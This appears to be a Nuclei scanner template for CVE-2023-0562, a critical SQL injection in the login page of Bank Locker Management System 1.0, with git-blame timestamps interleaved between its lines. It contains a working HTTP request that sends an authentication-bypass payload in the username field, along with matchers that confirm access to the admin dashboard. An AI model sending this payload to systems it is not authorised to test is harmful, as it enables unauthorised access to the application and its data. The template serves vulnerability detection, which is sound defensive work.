2023-06-25 19:06:25 +00:00
id : CVE-2023-0562
info :
2023-06-26 04:28:49 +00:00
name : Bank Locker Management System v1.0 - SQL Injection
2023-06-25 19:06:25 +00:00
author : Harsh
severity : critical
description : |
A vulnerability was found in PHPGurukul Bank Locker Management System 1.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file index.php of the component Login. The manipulation of the argument username leads to sql injection.
2023-09-06 11:43:37 +00:00
remediation : |
Upgrade to the latest version to mitigate this vulnerability.
2023-06-25 19:06:25 +00:00
reference :
- https://vuldb.com/?ctiid.219716
- https://nvd.nist.gov/vuln/detail/CVE-2023-0562
2023-07-11 19:49:27 +00:00
- https://vuldb.com/?id.219716
2023-06-25 19:06:25 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-0562
cwe-id : CWE-89
2023-10-19 10:38:59 +00:00
epss-score : 0.01124
epss-percentile : 0.83018
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:bank_locker_management_system_project:bank_locker_management_system:1.0:*:*:*:*:*:*:*
2023-06-25 19:06:25 +00:00
metadata :
verified : true
2023-09-06 11:43:37 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : bank_locker_management_system_project
product : bank_locker_management_system
2023-06-26 04:28:49 +00:00
tags : cve,cve2023,blms,sqli,bypass
2023-06-25 19:06:25 +00:00
http :
- raw :
- |
2023-06-26 04:28:49 +00:00
POST /banker/index.php HTTP/1.1
2023-06-25 19:06:25 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username=admin%27+AND+4719%3D4719--+GZHh&inputpwd=ABC&login=
cookie-reuse : true
redirects : true
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(body, "admin")'
- 'contains(body, "BLMS | Dashboard")'
condition : and
2023-10-19 13:13:52 +00:00
# digest: 4a0a004730450220780cbf9cd8f6ca50fa0a29281e082143399bf67a4925f3a5f719ff38d79d7f320221009551610f5e743858ce94961fcea5ff99aa6ca09e53f7e36328e9cde2d3d29c61:922c64590222798bb761d5b6d8e72950